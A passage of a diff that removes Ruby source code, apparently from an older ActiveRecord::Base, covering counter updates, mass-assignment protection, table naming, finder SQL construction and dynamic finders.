-            WHERE #{connection.quote_column_name(primary_key)} = #{quote_value(object.id)}
-          CMD
-        end
-        return true
-      end
-
-      # A generic "counter updater" implementation, intended primarily to be
-      # used by increment_counter and decrement_counter, but which may also
-      # be useful on its own. It simply does a direct SQL update for the record
-      # with the given ID, altering the given hash of counters by the amount
-      # given by the corresponding value:
-      #
-      # ==== Parameters
-      #
-      # * +id+ - The id of the object you wish to update a counter on or an Array of ids.
-      # * +counters+ - An Array of Hashes containing the names of the fields
-      #   to update as keys and the amount to update the field by as values.
-      #
-      # ==== Examples
-      #
-      #   # For the Post with id of 5, decrement the comment_count by 1, and
-      #   # increment the action_count by 1
-      #   Post.update_counters 5, :comment_count => -1, :action_count => 1
-      #   # Executes the following SQL:
-      #   # UPDATE posts
-      #   #    SET comment_count = comment_count - 1,
-      #   #        action_count = action_count + 1
-      #   #  WHERE id = 5
-      #
-      #   # For the Posts with id of 10 and 15, increment the comment_count by 1
-      #   Post.update_counters [10, 15], :comment_count => 1
-      #   # Executes the following SQL:
-      #   # UPDATE posts
-      #   #    SET comment_count = comment_count + 1,
-      #   #  WHERE id IN (10, 15)
-      def update_counters(id, counters)
-        updates = counters.map do |counter_name, value|
-          operator = value < 0 ? '-' : '+'
-          quoted_column = connection.quote_column_name(counter_name)
-          "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
-        end
-
-        update_all(updates.join(', '), primary_key => id )
-      end
-
-      # Increment a number field by one, usually representing a count.
-      #
-      # This is used for caching aggregate values, so that they don't need to be computed every time.
-      # For example, a DiscussionBoard may cache post_count and comment_count otherwise every time the board is
-      # shown it would have to run an SQL query to find how many posts and comments there are.
-      #
-      # ==== Parameters
-      #
-      # * +counter_name+ - The name of the field that should be incremented.
-      # * +id+ - The id of the object that should be incremented.
-      #
-      # ==== Examples
-      #
-      #   # Increment the post_count column for the record with an id of 5
-      #   DiscussionBoard.increment_counter(:post_count, 5)
-      def increment_counter(counter_name, id)
-        update_counters(id, counter_name => 1)
-      end
-
-      # Decrement a number field by one, usually representing a count.
-      #
-      # This works the same as increment_counter but reduces the column value by 1 instead of increasing it.
-      #
-      # ==== Parameters
-      #
-      # * +counter_name+ - The name of the field that should be decremented.
-      # * +id+ - The id of the object that should be decremented.
-      #
-      # ==== Examples
-      #
-      #   # Decrement the post_count column for the record with an id of 5
-      #   DiscussionBoard.decrement_counter(:post_count, 5)
-      def decrement_counter(counter_name, id)
-        update_counters(id, counter_name => -1)
-      end
-
-      # Attributes named in this macro are protected from mass-assignment,
-      # such as <tt>new(attributes)</tt>,
-      # <tt>update_attributes(attributes)</tt>, or
-      # <tt>attributes=(attributes)</tt>.
-      #
-      # Mass-assignment to these attributes will simply be ignored, to assign
-      # to them you can use direct writer methods. This is meant to protect
-      # sensitive attributes from being overwritten by malicious users
-      # tampering with URLs or forms.
-      #
-      #   class Customer < ActiveRecord::Base
-      #     attr_protected :credit_rating
-      #   end
-      #
-      #   customer = Customer.new("name" => David, "credit_rating" => "Excellent")
-      #   customer.credit_rating # => nil
-      #   customer.attributes = { "description" => "Jolly fellow", "credit_rating" => "Superb" }
-      #   customer.credit_rating # => nil
-      #
-      #   customer.credit_rating = "Average"
-      #   customer.credit_rating # => "Average"
-      #
-      # To start from an all-closed default and enable attributes as needed,
-      # have a look at +attr_accessible+.
-      def attr_protected(*attributes)
-        write_inheritable_attribute(:attr_protected, Set.new(attributes.map(&:to_s)) + (protected_attributes || []))
-      end
-
-      # Returns an array of all the attributes that have been protected from mass-assignment.
-      def protected_attributes # :nodoc:
-        read_inheritable_attribute(:attr_protected)
-      end
-
-      # Specifies a white list of model attributes that can be set via
-      # mass-assignment, such as <tt>new(attributes)</tt>,
-      # <tt>update_attributes(attributes)</tt>, or
-      # <tt>attributes=(attributes)</tt>
-      #
-      # This is the opposite of the +attr_protected+ macro: Mass-assignment
-      # will only set attributes in this list, to assign to the rest of
-      # attributes you can use direct writer methods. This is meant to protect
-      # sensitive attributes from being overwritten by malicious users
-      # tampering with URLs or forms. If you'd rather start from an all-open
-      # default and restrict attributes as needed, have a look at
-      # +attr_protected+.
-      #
-      #   class Customer < ActiveRecord::Base
-      #     attr_accessible :name, :nickname
-      #   end
-      #
-      #   customer = Customer.new(:name => "David", :nickname => "Dave", :credit_rating => "Excellent")
-      #   customer.credit_rating # => nil
-      #   customer.attributes = { :name => "Jolly fellow", :credit_rating => "Superb" }
-      #   customer.credit_rating # => nil
-      #
-      #   customer.credit_rating = "Average"
-      #   customer.credit_rating # => "Average"
-      def attr_accessible(*attributes)
-        write_inheritable_attribute(:attr_accessible, Set.new(attributes.map(&:to_s)) + (accessible_attributes || []))
-      end
-
-      # Returns an array of all the attributes that have been made accessible to mass-assignment.
-      def accessible_attributes # :nodoc:
-        read_inheritable_attribute(:attr_accessible)
-      end
-
-       # Attributes listed as readonly can be set for a new record, but will be ignored in database updates afterwards.
-       def attr_readonly(*attributes)
-         write_inheritable_attribute(:attr_readonly, Set.new(attributes.map(&:to_s)) + (readonly_attributes || []))
-       end
-
-       # Returns an array of all the attributes that have been specified as readonly.
-       def readonly_attributes
-         read_inheritable_attribute(:attr_readonly)
-       end
-
-      # If you have an attribute that needs to be saved to the database as an object, and retrieved as the same object,
-      # then specify the name of that attribute using this method and it will be handled automatically.
-      # The serialization is done through YAML. If +class_name+ is specified, the serialized object must be of that
-      # class on retrieval or SerializationTypeMismatch will be raised.
-      #
-      # ==== Parameters
-      #
-      # * +attr_name+ - The field name that should be serialized.
-      # * +class_name+ - Optional, class name that the object type should be equal to.
-      #
-      # ==== Example
-      #   # Serialize a preferences attribute
-      #   class User
-      #     serialize :preferences
-      #   end
-      def serialize(attr_name, class_name = Object)
-        serialized_attributes[attr_name.to_s] = class_name
-      end
-
-      # Returns a hash of all the attributes that have been specified for serialization as keys and their class restriction as values.
-      def serialized_attributes
-        read_inheritable_attribute(:attr_serialized) or write_inheritable_attribute(:attr_serialized, {})
-      end
-
-      # Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
-      # directly from ActiveRecord::Base. So if the hierarchy looks like: Reply < Message < ActiveRecord::Base, then Message is used
-      # to guess the table name even when called on Reply. The rules used to do the guess are handled by the Inflector class
-      # in Active Support, which knows almost all common English inflections. You can add new inflections in config/initializers/inflections.rb.
-      #
-      # Nested classes are given table names prefixed by the singular form of
-      # the parent's table name. Enclosing modules are not considered.
-      #
-      # ==== Examples
-      #
-      #   class Invoice < ActiveRecord::Base; end;
-      #   file                  class               table_name
-      #   invoice.rb            Invoice             invoices
-      #
-      #   class Invoice < ActiveRecord::Base; class Lineitem < ActiveRecord::Base; end; end;
-      #   file                  class               table_name
-      #   invoice.rb            Invoice::Lineitem   invoice_lineitems
-      #
-      #   module Invoice; class Lineitem < ActiveRecord::Base; end; end;
-      #   file                  class               table_name
-      #   invoice/lineitem.rb   Invoice::Lineitem   lineitems
-      #
-      # Additionally, the class-level +table_name_prefix+ is prepended and the
-      # +table_name_suffix+ is appended.  So if you have "myapp_" as a prefix,
-      # the table name guess for an Invoice class becomes "myapp_invoices".
-      # Invoice::Lineitem becomes "myapp_invoice_lineitems".
-      #
-      # You can also overwrite this class method to allow for unguessable
-      # links, such as a Mouse class with a link to a "mice" table. Example:
-      #
-      #   class Mouse < ActiveRecord::Base
-      #     set_table_name "mice"
-      #   end
-      def table_name
-        reset_table_name
-      end
-
-      def reset_table_name #:nodoc:
-        base = base_class
-
-        name =
-          # STI subclasses always use their superclass' table.
-          unless self == base
-            base.table_name
-          else
-            # Nested classes are prefixed with singular parent table name.
-            if parent < ActiveRecord::Base && !parent.abstract_class?
-              contained = parent.table_name
-              contained = contained.singularize if parent.pluralize_table_names
-              contained << '_'
-            end
-            name = "#{full_table_name_prefix}#{contained}#{undecorated_table_name(base.name)}#{table_name_suffix}"
-          end
-
-        set_table_name(name)
-        name
-      end
-
-      # Defines the primary key field -- can be overridden in subclasses. Overwriting will negate any effect of the
-      # primary_key_prefix_type setting, though.
-      def primary_key
-        reset_primary_key
-      end
-
-      def reset_primary_key #:nodoc:
-        key = get_primary_key(base_class.name)
-        set_primary_key(key)
-        key
-      end
-
-      def get_primary_key(base_name) #:nodoc:
-        key = 'id'
-        case primary_key_prefix_type
-          when :table_name
-            key = base_name.to_s.foreign_key(false)
-          when :table_name_with_underscore
-            key = base_name.to_s.foreign_key
-        end
-        key
-      end
-
-      def full_table_name_prefix #:nodoc:
-        (parents.detect{ |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
-      end
-
-      # Defines the column name for use with single table inheritance
-      # -- can be set in subclasses like so: self.inheritance_column = "type_id"
-      def inheritance_column
-        @inheritance_column ||= "type".freeze
-      end
-
-      # Lazy-set the sequence name to the connection's default.  This method
-      # is only ever called once since set_sequence_name overrides it.
-      def sequence_name #:nodoc:
-        reset_sequence_name
-      end
-
-      def reset_sequence_name #:nodoc:
-        default = connection.default_sequence_name(table_name, primary_key)
-        set_sequence_name(default)
-        default
-      end
-
-      # Sets the table name to use to the given value, or (if the value
-      # is nil or false) to the value returned by the given block.
-      #
-      #   class Project < ActiveRecord::Base
-      #     set_table_name "project"
-      #   end
-      def set_table_name(value = nil, &block)
-        define_attr_method :table_name, value, &block
-      end
-      alias :table_name= :set_table_name
-
-      # Sets the name of the primary key column to use to the given value,
-      # or (if the value is nil or false) to the value returned by the given
-      # block.
-      #
-      #   class Project < ActiveRecord::Base
-      #     set_primary_key "sysid"
-      #   end
-      def set_primary_key(value = nil, &block)
-        define_attr_method :primary_key, value, &block
-      end
-      alias :primary_key= :set_primary_key
-
-      # Sets the name of the inheritance column to use to the given value,
-      # or (if the value # is nil or false) to the value returned by the
-      # given block.
-      #
-      #   class Project < ActiveRecord::Base
-      #     set_inheritance_column do
-      #       original_inheritance_column + "_id"
-      #     end
-      #   end
-      def set_inheritance_column(value = nil, &block)
-        define_attr_method :inheritance_column, value, &block
-      end
-      alias :inheritance_column= :set_inheritance_column
-
-      # Sets the name of the sequence to use when generating ids to the given
-      # value, or (if the value is nil or false) to the value returned by the
-      # given block. This is required for Oracle and is useful for any
-      # database which relies on sequences for primary key generation.
-      #
-      # If a sequence name is not explicitly set when using Oracle or Firebird,
-      # it will default to the commonly used pattern of: #{table_name}_seq
-      #
-      # If a sequence name is not explicitly set when using PostgreSQL, it
-      # will discover the sequence corresponding to your primary key for you.
-      #
-      #   class Project < ActiveRecord::Base
-      #     set_sequence_name "projectseq"   # default would have been "project_seq"
-      #   end
-      def set_sequence_name(value = nil, &block)
-        define_attr_method :sequence_name, value, &block
-      end
-      alias :sequence_name= :set_sequence_name
-
-      # Turns the +table_name+ back into a class name following the reverse rules of +table_name+.
-      def class_name(table_name = table_name) # :nodoc:
-        ActiveSupport::Deprecation.warn("ActiveRecord::Base#class_name is deprecated and will be removed in Rails 3.", caller)
-
-        # remove any prefix and/or suffix from the table name
-        class_name = table_name[table_name_prefix.length..-(table_name_suffix.length + 1)].camelize
-        class_name = class_name.singularize if pluralize_table_names
-        class_name
-      end
-
-      # Indicates whether the table associated with this class exists
-      def table_exists?
-        connection.table_exists?(table_name)
-      end
-
-      # Returns an array of column objects for the table associated with this class.
-      def columns
-        unless defined?(@columns) && @columns
-          @columns = connection.columns(table_name, "#{name} Columns")
-          @columns.each { |column| column.primary = column.name == primary_key }
-        end
-        @columns
-      end
-
-      # Returns a hash of column objects for the table associated with this class.
-      def columns_hash
-        @columns_hash ||= columns.inject({}) { |hash, column| hash[column.name] = column; hash }
-      end
-
-      # Returns an array of column names as strings.
-      def column_names
-        @column_names ||= columns.map { |column| column.name }
-      end
-
-      # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
-      # and columns used for single table inheritance have been removed.
-      def content_columns
-        @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
-      end
-
-      # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
-      # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
-      # is available.
-      def column_methods_hash #:nodoc:
-        @dynamic_methods_hash ||= column_names.inject(Hash.new(false)) do |methods, attr|
-          attr_name = attr.to_s
-          methods[attr.to_sym]       = attr_name
-          methods["#{attr}=".to_sym] = attr_name
-          methods["#{attr}?".to_sym] = attr_name
-          methods["#{attr}_before_type_cast".to_sym] = attr_name
-          methods
-        end
-      end
-
-      # Resets all the cached information about columns, which will cause them
-      # to be reloaded on the next request.
-      #
-      # The most common usage pattern for this method is probably in a migration,
-      # when just after creating a table you want to populate it with some default
-      # values, eg:
-      #
-      #  class CreateJobLevels < ActiveRecord::Migration
-      #    def self.up
-      #      create_table :job_levels do |t|
-      #        t.integer :id
-      #        t.string :name
-      #
-      #        t.timestamps
-      #      end
-      #
-      #      JobLevel.reset_column_information
-      #      %w{assistant executive manager director}.each do |type|
-      #        JobLevel.create(:name => type)
-      #      end
-      #    end
-      #
-      #    def self.down
-      #      drop_table :job_levels
-      #    end
-      #  end
-      def reset_column_information
-        generated_methods.each { |name| undef_method(name) }
-        @column_names = @columns = @columns_hash = @content_columns = @dynamic_methods_hash = @generated_methods = @inheritance_column = nil
-      end
-
-      def reset_column_information_and_inheritable_attributes_for_all_subclasses#:nodoc:
-        subclasses.each { |klass| klass.reset_inheritable_attributes; klass.reset_column_information }
-      end
-
-      def self_and_descendants_from_active_record#nodoc:
-        klass = self
-        classes = [klass]
-        while klass != klass.base_class  
-          classes << klass = klass.superclass
-        end
-        classes
-      rescue
-        # OPTIMIZE this rescue is to fix this test: ./test/cases/reflection_test.rb:56:in `test_human_name_for_column'
-        # Appearantly the method base_class causes some trouble.
-        # It now works for sure.
-        [self]
-      end
-
-      # Transforms attribute key names into a more humane format, such as "First name" instead of "first_name". Example:
-      #   Person.human_attribute_name("first_name") # => "First name"
-      # This used to be depricated in favor of humanize, but is now preferred, because it automatically uses the I18n
-      # module now.
-      # Specify +options+ with additional translating options.
-      def human_attribute_name(attribute_key_name, options = {})
-        defaults = self_and_descendants_from_active_record.map do |klass|
-          :"#{klass.name.underscore}.#{attribute_key_name}"
-        end
-        defaults << options[:default] if options[:default]
-        defaults.flatten!
-        defaults << attribute_key_name.to_s.humanize
-        options[:count] ||= 1
-        I18n.translate(defaults.shift, options.merge(:default => defaults, :scope => [:activerecord, :attributes]))
-      end
-
-      # Transform the modelname into a more humane format, using I18n.
-      # Defaults to the basic humanize method.
-      # Default scope of the translation is activerecord.models
-      # Specify +options+ with additional translating options.
-      def human_name(options = {})
-        defaults = self_and_descendants_from_active_record.map do |klass|
-          :"#{klass.name.underscore}"
-        end 
-        defaults << self.name.humanize
-        I18n.translate(defaults.shift, {:scope => [:activerecord, :models], :count => 1, :default => defaults}.merge(options))
-      end
-
-      # True if this isn't a concrete subclass needing a STI type condition.
-      def descends_from_active_record?
-        if superclass.abstract_class?
-          superclass.descends_from_active_record?
-        else
-          superclass == Base || !columns_hash.include?(inheritance_column)
-        end
-      end
-
-      def finder_needs_type_condition? #:nodoc:
-        # This is like this because benchmarking justifies the strange :false stuff
-        :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
-      end
-
-      # Returns a string like 'Post id:integer, title:string, body:text'
-      def inspect
-        if self == Base
-          super
-        elsif abstract_class?
-          "#{super}(abstract)"
-        elsif table_exists?
-          attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
-          "#{super}(#{attr_list})"
-        else
-          "#{super}(Table doesn't exist)"
-        end
-      end
-
-      def quote_value(value, column = nil) #:nodoc:
-        connection.quote(value,column)
-      end
-
-      # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
-      def sanitize(object) #:nodoc:
-        connection.quote(object)
-      end
-
-      # Log and benchmark multiple statements in a single block. Example:
-      #
-      #   Project.benchmark("Creating project") do
-      #     project = Project.create("name" => "stuff")
-      #     project.create_manager("name" => "David")
-      #     project.milestones << Milestone.find(:all)
-      #   end
-      #
-      # The benchmark is only recorded if the current level of the logger is less than or equal to the <tt>log_level</tt>,
-      # which makes it easy to include benchmarking statements in production software that will remain inexpensive because
-      # the benchmark will only be conducted if the log level is low enough.
-      #
-      # The logging of the multiple statements is turned off unless <tt>use_silence</tt> is set to false.
-      def benchmark(title, log_level = Logger::DEBUG, use_silence = true)
-        if logger && logger.level <= log_level
-          result = nil
-          ms = Benchmark.ms { result = use_silence ? silence { yield } : yield }
-          logger.add(log_level, '%s (%.1fms)' % [title, ms])
-          result
-        else
-          yield
-        end
-      end
-
-      # Silences the logger for the duration of the block.
-      def silence
-        old_logger_level, logger.level = logger.level, Logger::ERROR if logger
-        yield
-      ensure
-        logger.level = old_logger_level if logger
-      end
-
-      # Overwrite the default class equality method to provide support for association proxies.
-      def ===(object)
-        object.is_a?(self)
-      end
-
-      # Returns the base AR subclass that this class descends from. If A
-      # extends AR::Base, A.base_class will return A. If B descends from A
-      # through some arbitrarily deep hierarchy, B.base_class will return A.
-      def base_class
-        class_of_active_record_descendant(self)
-      end
-
-      # Set this to true if this is an abstract class (see <tt>abstract_class?</tt>).
-      attr_accessor :abstract_class
-
-      # Returns whether this class is a base AR class.  If A is a base class and
-      # B descends from A, then B.base_class will return B.
-      def abstract_class?
-        defined?(@abstract_class) && @abstract_class == true
-      end
-
-      def respond_to?(method_id, include_private = false)
-        if match = DynamicFinderMatch.match(method_id)
-          return true if all_attributes_exists?(match.attribute_names)
-        elsif match = DynamicScopeMatch.match(method_id)
-          return true if all_attributes_exists?(match.attribute_names)
-        end
-
-        super
-      end
-
-      def sti_name
-        store_full_sti_class ? name : name.demodulize
-      end
-
-      # Merges conditions so that the result is a valid +condition+
-      def merge_conditions(*conditions)
-        segments = []
-
-        conditions.each do |condition|
-          unless condition.blank?
-            sql = sanitize_sql(condition)
-            segments << sql unless sql.blank?
-          end
-        end
-
-        "(#{segments.join(') AND (')})" unless segments.empty?
-      end
-
-      private
-        def find_initial(options)
-          options.update(:limit => 1)
-          find_every(options).first
-        end
-
-        def find_last(options)
-          order = options[:order]
-
-          if order
-            order = reverse_sql_order(order)
-          elsif !scoped?(:find, :order)
-            order = "#{table_name}.#{primary_key} DESC"
-          end
-
-          if scoped?(:find, :order)
-            scope = scope(:find)
-            original_scoped_order = scope[:order]
-            scope[:order] = reverse_sql_order(original_scoped_order)
-          end
-
-          begin
-            find_initial(options.merge({ :order => order }))
-          ensure
-            scope[:order] = original_scoped_order if original_scoped_order
-          end
-        end
-
-        def reverse_sql_order(order_query)
-          reversed_query = order_query.to_s.split(/,/).each { |s|
-            if s.match(/\s(asc|ASC)$/)
-              s.gsub!(/\s(asc|ASC)$/, ' DESC')
-            elsif s.match(/\s(desc|DESC)$/)
-              s.gsub!(/\s(desc|DESC)$/, ' ASC')
-            elsif !s.match(/\s(asc|ASC|desc|DESC)$/)
-              s.concat(' DESC')
-            end
-          }.join(',')
-        end
-
-        def find_every(options)
-          include_associations = merge_includes(scope(:find, :include), options[:include])
-
-          if include_associations.any? && references_eager_loaded_tables?(options)
-            records = find_with_associations(options)
-          else
-            records = find_by_sql(construct_finder_sql(options))
-            if include_associations.any?
-              preload_associations(records, include_associations)
-            end
-          end
-
-          records.each { |record| record.readonly! } if options[:readonly]
-
-          records
-        end
-
-        def find_from_ids(ids, options)
-          expects_array = ids.first.kind_of?(Array)
-          return ids.first if expects_array && ids.first.empty?
-
-          ids = ids.flatten.compact.uniq
-
-          case ids.size
-            when 0
-              raise RecordNotFound, "Couldn't find #{name} without an ID"
-            when 1
-              result = find_one(ids.first, options)
-              expects_array ? [ result ] : result
-            else
-              find_some(ids, options)
-          end
-        end
-
-        def find_one(id, options)
-          conditions = " AND (#{sanitize_sql(options[:conditions])})" if options[:conditions]
-          options.update :conditions => "#{quoted_table_name}.#{connection.quote_column_name(primary_key)} = #{quote_value(id,columns_hash[primary_key])}#{conditions}"
-
-          # Use find_every(options).first since the primary key condition
-          # already ensures we have a single record. Using find_initial adds
-          # a superfluous :limit => 1.
-          if result = find_every(options).first
-            result
-          else
-            raise RecordNotFound, "Couldn't find #{name} with ID=#{id}#{conditions}"
-          end
-        end
-
-        def find_some(ids, options)
-          conditions = " AND (#{sanitize_sql(options[:conditions])})" if options[:conditions]
-          ids_list   = ids.map { |id| quote_value(id,columns_hash[primary_key]) }.join(',')
-          options.update :conditions => "#{quoted_table_name}.#{connection.quote_column_name(primary_key)} IN (#{ids_list})#{conditions}"
-
-          result = find_every(options)
-
-          # Determine expected size from limit and offset, not just ids.size.
-          expected_size =
-            if options[:limit] && ids.size > options[:limit]
-              options[:limit]
-            else
-              ids.size
-            end
-
-          # 11 ids with limit 3, offset 9 should give 2 results.
-          if options[:offset] && (ids.size - options[:offset] < expected_size)
-            expected_size = ids.size - options[:offset]
-          end
-
-          if result.size == expected_size
-            result
-          else
-            raise RecordNotFound, "Couldn't find all #{name.pluralize} with IDs (#{ids_list})#{conditions} (found #{result.size} results, but was looking for #{expected_size})"
-          end
-        end
-
-        # Finder methods must instantiate through this method to work with the
-        # single-table inheritance model that makes it possible to create
-        # objects of different types from the same table.
-        def instantiate(record)
-          object =
-            if subclass_name = record[inheritance_column]
-              # No type given.
-              if subclass_name.empty?
-                allocate
-
-              else
-                # Ignore type if no column is present since it was probably
-                # pulled in from a sloppy join.
-                unless columns_hash.include?(inheritance_column)
-                  allocate
-
-                else
-                  begin
-                    compute_type(subclass_name).allocate
-                  rescue NameError
-                    raise SubclassNotFound,
-                      "The single-table inheritance mechanism failed to locate the subclass: '#{record[inheritance_column]}'. " +
-                      "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " +
-                      "Please rename this column if you didn't intend it to be used for storing the inheritance class " +
-                      "or overwrite #{self.to_s}.inheritance_column to use another column for that information."
-                  end
-                end
-              end
-            else
-              allocate
-            end
-
-          object.instance_variable_set("@attributes", record)
-          object.instance_variable_set("@attributes_cache", Hash.new)
-
-          if object.respond_to_without_attributes?(:after_find)
-            object.send(:callback, :after_find)
-          end
-
-          if object.respond_to_without_attributes?(:after_initialize)
-            object.send(:callback, :after_initialize)
-          end
-
-          object
-        end
-
-        # Nest the type name in the same module as this class.
-        # Bar is "MyApp::Business::Bar" relative to MyApp::Business::Foo
-        def type_name_with_module(type_name)
-          if store_full_sti_class
-            type_name
-          else
-            (/^::/ =~ type_name) ? type_name : "#{parent.name}::#{type_name}"
-          end
-        end
-
-        def default_select(qualified)
-          if qualified
-            quoted_table_name + '.*'
-          else
-            '*'
-          end
-        end
-
-        def construct_finder_sql(options)
-          scope = scope(:find)
-          sql  = "SELECT #{options[:select] || (scope && scope[:select]) || default_select(options[:joins] || (scope && scope[:joins]))} "
-          sql << "FROM #{options[:from]  || (scope && scope[:from]) || quoted_table_name} "
-
-          add_joins!(sql, options[:joins], scope)
-          add_conditions!(sql, options[:conditions], scope)
-
-          add_group!(sql, options[:group], options[:having], scope)
-          add_order!(sql, options[:order], scope)
-          add_limit!(sql, options, scope)
-          add_lock!(sql, options, scope)
-
-          sql
-        end
-
-        # Merges includes so that the result is a valid +include+
-        def merge_includes(first, second)
-         (safe_to_array(first) + safe_to_array(second)).uniq
-        end
-
-        def merge_joins(*joins)
-          if joins.any?{|j| j.is_a?(String) || array_of_strings?(j) }
-            joins = joins.collect do |join|
-              join = [join] if join.is_a?(String)
-              unless array_of_strings?(join)
-                join_dependency = ActiveRecord::Associations::ClassMethods::InnerJoinDependency.new(self, join, nil)
-                join = join_dependency.join_associations.collect { |assoc| assoc.association_join }
-              end
-              join
-            end
-            joins.flatten.map{|j| j.strip}.uniq
-          else
-            joins.collect{|j| safe_to_array(j)}.flatten.uniq
-          end
-        end
-
-        # Object#to_a is deprecated, though it does have the desired behavior
-        def safe_to_array(o)
-          case o
-          when NilClass
-            []
-          when Array
-            o
-          else
-            [o]
-          end
-        end
-
-        def array_of_strings?(o)
-          o.is_a?(Array) && o.all?{|obj| obj.is_a?(String)}
-        end
-
-        def add_order!(sql, order, scope = :auto)
-          scope = scope(:find) if :auto == scope
-          scoped_order = scope[:order] if scope
-          if order
-            sql << " ORDER BY #{order}"
-            if scoped_order && scoped_order != order
-              sql << ", #{scoped_order}"
-            end
-          else
-            sql << " ORDER BY #{scoped_order}" if scoped_order
-          end
-        end
-
-        def add_group!(sql, group, having, scope = :auto)
-          if group
-            sql << " GROUP BY #{group}"
-            sql << " HAVING #{sanitize_sql_for_conditions(having)}" if having
-          else
-            scope = scope(:find) if :auto == scope
-            if scope && (scoped_group = scope[:group])
-              sql << " GROUP BY #{scoped_group}"
-              sql << " HAVING #{sanitize_sql_for_conditions(scope[:having])}" if scope[:having]
-            end
-          end
-        end
-
-        # The optional scope argument is for the current <tt>:find</tt> scope.
-        def add_limit!(sql, options, scope = :auto)
-          scope = scope(:find) if :auto == scope
-
-          if scope
-            options[:limit] ||= scope[:limit]
-            options[:offset] ||= scope[:offset]
-          end
-
-          connection.add_limit_offset!(sql, options)
-        end
-
-        # The optional scope argument is for the current <tt>:find</tt> scope.
-        # The <tt>:lock</tt> option has precedence over a scoped <tt>:lock</tt>.
-        def add_lock!(sql, options, scope = :auto)
-          scope = scope(:find) if :auto == scope
-          options = options.reverse_merge(:lock => scope[:lock]) if scope
-          connection.add_lock!(sql, options)
-        end
-
-        # The optional scope argument is for the current <tt>:find</tt> scope.
-        def add_joins!(sql, joins, scope = :auto)
-          scope = scope(:find) if :auto == scope
-          merged_joins = scope && scope[:joins] && joins ? merge_joins(scope[:joins], joins) : (joins || scope && scope[:joins])
-          case merged_joins
-          when Symbol, Hash, Array
-            if array_of_strings?(merged_joins)
-              sql << merged_joins.join(' ') + " "
-            else
-              join_dependency = ActiveRecord::Associations::ClassMethods::InnerJoinDependency.new(self, merged_joins, nil)
-              sql << " #{join_dependency.join_associations.collect { |assoc| assoc.association_join }.join} "
-            end
-          when String
-            sql << " #{merged_joins} "
-          end
-        end
-
-        # Adds a sanitized version of +conditions+ to the +sql+ string. Note that the passed-in +sql+ string is changed.
-        # The optional scope argument is for the current <tt>:find</tt> scope.
-        def add_conditions!(sql, conditions, scope = :auto)
-          scope = scope(:find) if :auto == scope
-          conditions = [conditions]
-          conditions << scope[:conditions] if scope
-          conditions << type_condition if finder_needs_type_condition?
-          merged_conditions = merge_conditions(*conditions)
-          sql << "WHERE #{merged_conditions} " unless merged_conditions.blank?
-        end
-
-        def type_condition(table_alias=nil)
-          quoted_table_alias = self.connection.quote_table_name(table_alias || table_name)
-          quoted_inheritance_column = connection.quote_column_name(inheritance_column)
-          type_condition = subclasses.inject("#{quoted_table_alias}.#{quoted_inheritance_column} = '#{sti_name}' ") do |condition, subclass|
-            condition << "OR #{quoted_table_alias}.#{quoted_inheritance_column} = '#{subclass.sti_name}' "
-          end
-
-          " (#{type_condition}) "
-        end
-
-        # Guesses the table name, but does not decorate it with prefix and suffix information.
-        def undecorated_table_name(class_name = base_class.name)
-          table_name = class_name.to_s.demodulize.underscore
-          table_name = table_name.pluralize if pluralize_table_names
-          table_name
-        end
-
-        # Enables dynamic finders like <tt>find_by_user_name(user_name)</tt> and <tt>find_by_user_name_and_password(user_name, password)</tt>
-        # that are turned into <tt>find(:first, :conditions => ["user_name = ?", user_name])</tt> and
-        # <tt>find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])</tt> respectively. Also works for
-        # <tt>find(:all)</tt> by using <tt>find_all_by_amount(50)</tt> that is turned into <tt>find(:all, :conditions => ["amount = ?", 50])</tt>.
-        #
-        # It's even possible to use all the additional parameters to +find+. For example, the full interface for +find_all_by_amount+
-        # is actually <tt>find_all_by_amount(amount, options)</tt>.
-        #
-        # Also enables dynamic scopes like scoped_by_user_name(user_name) and scoped_by_user_name_and_password(user_name, password) that
-        # are turned into scoped(:conditions => ["user_name = ?", user_name]) and scoped(:conditions => ["user_name = ? AND password = ?", user_name, password])
-        # respectively.
-        #
-        # Each dynamic finder, scope or initializer/creator is also defined in the class after it is first invoked, so that future
-        # attempts to use it do not run through method_missing.
-        def method_missing(method_id, *arguments, &block)
-          if match = DynamicFinderMatch.match(method_id)
-            attribute_names = match.attribute_names
-            super unless all_attributes_exists?(attribute_names)
-            if match.finder?
-              finder = match.finder
-              bang = match.bang?
-              # def self.find_by_login_and_activated(*args)
-              #   options = args.extract_options!
-              #   attributes = construct_attributes_from_arguments(
-              #     [:login,:activated],
-              #     args
-              #   )
-              #   finder_options = { :conditions => attributes }
-              #   validate_find_options(options)
-              #   set_readonly_option!(options)
-              #
-              #   if options[:conditions]
-              #     with_scope(:find => finder_options) do
-              #       find(:first, options)
-              #     end
-              #   else
-              #     find(:first, options.merge(finder_options))
-              #   end
-              # end
-              self.class_eval <<-EOS, __FILE__, __LINE__ + 1
-                def self.#{method_id}(*args)
-                  options = args.extract_options!
-                  attributes = construct_attributes_from_arguments(
-                    [:#{attribute_names.join(',:')}],
-                    args
-                  )
-                  finder_options = { :conditions => attributes }
-                  validate_find_options(options)
-                  set_readonly_option!(options)
-
-                  #{'result = ' if bang}if options[:conditions]
-                    with_scope(:find => finder_options) do
-                      find(:#{finder}, options)
-                    end
-                  else
-                    find(:#{finder}, options.merge(finder_options))
-                  end
-                  #{'result || raise(RecordNotFound, "Couldn\'t find #{name} with #{attributes.to_a.collect {|pair| "#{pair.first} = #{pair.second}"}.join(\', \')}")' if bang}
-                end
-              EOS
-              send(method_id, *arguments)
-            elsif match.instantiator?
-              instantiator = match.instantiator
-              # def self.find_or_create_by_user_id(*args)
-              #   guard_protected_attributes = false
-              #
-              #   if args[0].is_a?(Hash)
-              #     guard_protected_attributes = true
-              #     attributes = args[0].with_indifferent_access
-              #     find_attributes = attributes.slice(*[:user_id])
-              #   else
-              #     find_attributes = attributes = construct_attributes_from_arguments([:user_id], args)
-              #   end
-              #
